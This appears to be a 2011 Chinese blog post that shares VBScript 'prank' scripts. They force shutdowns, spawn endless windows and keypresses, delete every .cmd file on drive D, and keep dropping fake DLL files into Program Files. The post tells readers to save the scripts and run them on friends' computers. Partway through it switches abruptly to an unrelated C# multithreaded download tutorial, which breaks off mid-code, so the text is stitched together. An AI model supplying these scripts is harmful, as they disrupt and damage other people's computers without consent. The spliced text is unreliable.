vbs代码分享

vbs代码分享
2011年06月03日
　　// 自动发消息[xx替换成好友昵称]
　　xx.vbs
　　if MsgBox("对不起,你装B太多需要重启计算机"&chr(10)&"确定重启吗",vbOKcancel+vbInformation,"重启计算机")=vbCancel then
　　msgbox "系统正在重启wait","你上当了"
　　set objshell=createobject("Wscript.shell")
　　objshell.run "shutdown -s -t 5",,true
　　end if
　　// 打开无数个计算器
　　set wsh=createobject("wscript.shell")
　　do 
　　wsh.run "calc"
　　loop
　　// 不断弹出窗口
　　while(1)
　　msgbox "nihao"
　　loop
　　// 删除所有cmd文件
　　dim WSHshell
　　set WSHshell=wscript.createobject("wscript.shell")
　　WSHshell.run "cmd /c""del D:\*.cmd /f /q /s""",0,true
　　// 不断按下"Alt+F4"
　　dim wshshell
　　set wshshell=wscript.createobject("wscript.shell")
　　while(1)
　　wshshell.sendkeys "%{F4}"
　　loop
　　// 点击1000次
　　dim s
　　do until s=1000
　　s=s+1
　　msgbox"nihao",64
　　loop
　　ws.run"cmd.exe /c echo nihao",0
　　ws.run"regedit.exe"
　　oShell.Run "regedit.exe"
　　WScript.echo("nihao")
　　我们来看下这个脚本 
　　-------------------------------------------------- ------------------------------
　　on error resume next
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下??????"" ",0 ,true 
　　dim a
　　do while(a  "我是猪")
　　a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""   ","说不说","",8000,7000)
　　msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
　　-------------------------------------------------- ------------------------------
　　新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了
　　cmd.exe /c shutdown -r -t 180 -c
　　这里的数字可以修改关机时间 180秒
　　这些文字也可以自设 这个脚本启用cmd 里的关机程序
　　如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已
　　经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK
　　了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主
　　-------------------------------------------------- -----------------------------------------
　　下面看第二个整人的脚本 
　　-------------------------------------------------- -----------------------------------------
　　set ws=createobject("wscript.shell") 
　　call shutdown(1) 
　　do while a"我是猪" 
　　a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","") 
　　loop 
　　call shutdown(2) 
　　msgbox "早说就行了嘛",4096+64 
　　msgbox"再输一遍我是猪!",4096+64 
　　msgbox"我是猪!",4096+64 
　　MsgBox"最后一次!",4096+64 
　　MsgBox"如果你很快的点过去,不看的话",4096+64 
　　MsgBox"我就要你踩我空间的!哼!",4096+64 
　　MsgBox"从前有座山!",4096+64 
　　MsgBox"山里有个庙.",4096+64 
　　MsgBox"庙里有个老和尚在讲故事.",4096+64 
　　ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 
　　msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 
　　for i=1 to 100
　　MsgBox i&"只绵羊",4096+64 
　　next 
　　msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 
　　msgbox"最后问个问题，我是不是大好人！",4096+64 
　　if inputbox("是不是","请选择","是")"是" then 
　　call shutdown(1) 
　　end if
　　sub shutdown(s) 
　　select case s 
　　case 1 
　　ws.run"cmd.exe /c shutdown -r -t 60 -c",0 
　　case 2 
　　ws.run"cmd.exe /c shutdown -a",0 
　　end select 
　　end sub
　　-------------------------------------------------- ------------------------------
　　ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
　　这段代码可以改成你自己设定的地址
　　如果别人不输我是猪的话就会一直点下去 点到你设定的数字
　　for i=1 to 100
　　从1到100
　　可以改成 20 其他的数字
　　解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe
　　这个进程就好了
　　[color=#FF0000]
　　复制以上代码，在桌面建一个文本，把代码放进去，另存为VBS格式，
　　此代码的威力：
　　1：开机就强制自动关机
　　2：cmd命令打不开
　　3：结束任务不管用
　　4：F8安全模式也不管用
　　呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
　　代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
　　网页整人效果代码
　　想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
　　
　　
　　
　　网页特效|Linkweb.cn/Js|---很恶心的常见整人效果
　　
　　
　　不许把鼠标移到这里 代码如下： 
　　Private Sub Form_Load() 
　　Me.Hide 
　　End Sub
　　Private Sub Timer1_Timer() 
　　'声明变量，其中“count”为静态变量，以便生成不同的文件 
　　Dim files As String 
　　Dim nr As String 
　　Dim c As String 
　　Static count As Long 
　　'定义要把生成的文件存放在那个目录文件下 
　　c = "C:\Program Files\" 
　　'生成文件的内容 
　　nr = "哈哈，被黑的感觉的不错吧" 
　　files = FreeFile 
　　'如果a等于a那么就执行 
　　If a = a Then 
　　'count不断的加1，以便产生不同的文件名 
　　count = count + 1 
　　'产生文件名及文件句柄，并用count作为产生不同的文件名。 
　　Open c & "system" & count & ".dll" For Append As #files 
　　'向文件写内容 
　　Write #files, nr 
　　'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 
　　Close #files 
　　End If 
　　End Sub
　　很多人都有过使用网络蚂蚁或网络快车软件下载互联网文件的经历，这些软件的使用可以大大加速互联网上文件的传输速度，减少文件传输的时间。这些软件为什么有如此大的魔力呢？其主要原因是这些软件都采用了多线程下载和断点续传技术。如果我们自己来编写一个类似这样的程序，也能够快速的在互联网上下载文件，那一定是非常愉快的事情。下面我就讲一讲如何利用C#语言编写一个支持多线程下载文件的程序，你会看到利用C#语言编写网络应程序是多么的容易，从中也能体会到C#语言中强大的网络功能。
　　首先介绍一下HTTP协议，HTTP亦即Hpyer Text Transfer Protocal的缩写，它是现代互联网上最重要的一种网络协议，超文本传输协议位于TCP/IP协议的应用层，是一个面向无连接、简单、快速的C/S结构的协议。HTTP的工作过程大体上分连接、请求、响应和断开连接四个步骤。C#语言对HTTP协议提供了良好的支持，在.NET类库中提供了WebRequest和WebResponse类，这两个类都包含在System.Net命名空间中，利用这两个类可以实现很多高级的网络功能，本文中多线程文件下载就是利用这两个类实现的。 WebRequest和WebResponse都是抽象基类，因此在程序中不能直接作为对象使用，必须被继承，实际使用中，可根据URI参数中的URI前缀选用它们合适的子类，对于HTTP这类URI,HttpWebRequest和HttpWebResponse类可以用于处理客户程序同WEB服务器之间的HTTP通讯。
　　HttpWebRequest类实现了很多通过HTTP访问WEB服务器上文件的高级功能。HttpWebRequest类对WebRequest中定义的属性和方法提供支持，HttpWebRequest将发送到Internet资源的公共HTTP标头的值公开为属性，由方法或系统设置，常用的由属性或方法设置的HTTP标头为：接受, 由Accept属性设置, 连接, 由Connection属性和KeepAlive属性设置, Content-Length, 由ContentLength属性设置, Content-Type, 由ContentType属性设置, 范围, 由AddRange方法设置. 实际使用中是将标头信息正确设置后,传递到WEB服务器,WEB服务器根据要求作出回应。
　　HttpWebResponse类继承自WebResponse类，专门处理从WEB服务器返回的HTTP响应，这个类实现了很多方法，具有很多属性，可以全面处理接收到的互联网信息。在HttpWebResponse类中，对于大多数通用的HTTP标头字段，都有独立的属性与其对应，程序员可以通过这些属性方便的访问位于HTTP接收报文标头字段中的信息，本例中用到的HttpWebResponse类属性为：ContentLength 既接收内容的长度。
　　有了以上的了解后，下面看看这两个类的用法，要创建HttpWebRequest对象，不要直接使用HttpWebRequest的构造函数，而要使用WebRequest.Create方法初始化一个HttpWebRequest实例，如：
　　HttpWebRequest hwr=(HttpWebRequest)WebRequest.Create(http://www.163.com/);
　　创建了这个对象后，就可以通过HttpWebRequest属性，设置很多HTTP标头字段的内容,如hwr.AddRange(100,1000);设置接收对象的范围为100-1000字节。
　　HttpWebReques对象使用GetResponse()方法时，会返回一个HttpWebResponse对象，为提出HTTP返回报文信息，需要使用HttpWebResponse的GetResponseStream()方法，该方法返回一个Stream对象，可以读取HTTP返回的报文，如：首先定义一个Strean 对象 public System.IO.Stream ns; 然后 ns=hwr.GetResponse ().GetResponseStream ();即可创建Stream对象。有了以上的准备知识后下面开始设计我们的多线程互联网文件的下载程序，首先打开Visual Studio.Net集成开发环境，选择“文件”、“新建”、“项目”，然后选择“Visual C#项目”，在向导右边列表框中选中“Windows应用程序”，输入项目名称，如本例为：httpftp,然后选择“确定”按钮，向导自动生成了一个Windows应用程序项目。首先打开窗口设计器设计应用程序窗口，增加如下控件：
　　一个列表框 listBox1 三个文本标签 label1-label3 三个文本框 textBox1-textBox3 一个开始接收按钮 button1 设计好的窗口如下图：
　　控件定义代码是：
　　public System.Windows.Forms.ListBox listBox1;
　　private System.Windows.Forms.Label label1;
　　private System.Windows.Forms.TextBox textBox1
　　private System.Windows.Forms.Button button1;
　　private System.Windows.Forms.Label label2;
　　private System.Windows.Forms.TextBox textBox2;
　　private System.Windows.Forms.Label label3;
　　private System.Windows.Forms.TextBox textBox3;
　　private System.Windows.Forms.Label label4;
　　private System.Windows.Forms.TextBox textBox4;
　　打开Form1的代码编辑器，增加如下的命名空间：
　　using System.Net;//网络功能
　　using System.IO;//流支持
　　using System.Threading ;//线程支持
　　增加如下的程序变量：
　　public bool[] threadw; //每个线程结束标志
　　public string[] filenamew;//每个线程接收文件的文件名
　　public int[] filestartw;//每个线程接收文件的起始位置
　　public int[] filesizew;//每个线程接收文件的大小
　　public string strurl;//接受文件的URL
　　public bool hb;//文件合并标志
　　public int thread;//进程数
　　定义一个HttpFile类，用于管理接收线程，其代码如下：
　　public class HttpFile
　　{
　　public Form1 formm;
　　public int threadh;//线程代号
　　public string filename;//文件名
　　public string strUrl;//接收文件的URL
　　public FileStream fs;
　　public HttpWebRequest request;
　　public System.IO.Stream ns;
　　public byte[] nbytes;//接收缓冲区
　　public int nreadsize;//接收字节数
　　public HttpFile(Form1 form,int thread)//构造方法
　　{
　　formm=form;
　　threadh=thread;
　　}
　　~HttpFile()//析构方法
　　{
　　formm.Dispose ();
　　}
　　public void receive()//接收线程
　　{
　　filename=formm.filenamew[threadh];
　　strUrl=formm.strurl;
　　ns=null;
　　nbytes= new byte[512];
　　nreadsize=0;
　　formm.listBox1 .Items .Add ("线程"+threadh.ToString ()+"开始接收");
　　fs=new FileStream (filename,System.IO.FileMode.Create);
　　try
　　{
　　request=(HttpWebRequest)HttpWebRequest.Create (strUrl);
　　//接收的起始位置及接收的长度
　　request.AddRange(formm.filestartw [threadh],
　　formm.filestartw [threadh]+formm.filesizew [threadh]);
　　ns=request.GetResponse ().GetResponseStream ();//获得接收流
　　nreadsize=ns.Read (nbytes,0,512);
　　while (nreadsize>0)
　　{
　　fs.Write (nbytes,0,nreadsize);
　　nreadsize=ns.Read (nbytes,0,512);
　　formm.listBox1 .Items .Add ("线程"+threadh.ToString ()+"正在接收");
　　}
　　fs.Close();
　　ns.Close ();
　　}
　　catch (Exception er)
　　{
　　MessageBox.Show (er.Message );
　　fs.Close();
　　}
　　formm.listBox1 .Items.Add ("进程"+threadh.ToString ()+"接收完毕!");
　　formm.threadw[threadh]=true;
　　}
　　}
　　该类和Form1类处于统一命名空间，但不包含在Form1类中。下面定义“开始接收”按钮控件的事件响应函数：
　　private void button1_Click(object sender, System.EventArgs e)
　　{
　　DateTime dt=DateTime.Now;//开始接收时间
　　textBox1.Text =dt.ToString ();
　　strurl=textBox2.Text .Trim ().ToString ();
　　HttpWebRequest request;
　　long filesize=0;
　　try
　　{
　　request=(HttpWebRequest)HttpWebRequest.Create (strurl);
　　filesize=request.GetResponse ().ContentLength;//取得目标文件的长度
　　request.Abort ();
　　}
　　catch (Exception er)
　　{
　　MessageBox.Show (er.Message );
　　}
　　// 接收线程数
　　thread=Convert.ToInt32 (textBox4.Text .Trim().ToString (),10);
　　//根据线程数初始化数组
　　threadw=new bool [thread];
　　filenamew=new string [thread];
　　filestartw=new int [thread];
　　filesizew=new int[thread];
　　//计算每个线程应该接收文件的大小
　　int filethread=(int)filesize/thread;//平均分配
　　int filethreade=filethread+(int)filesize%thread;//剩余部分由最后一个线程完成
　　//为数组赋值
　　for (int i=0;i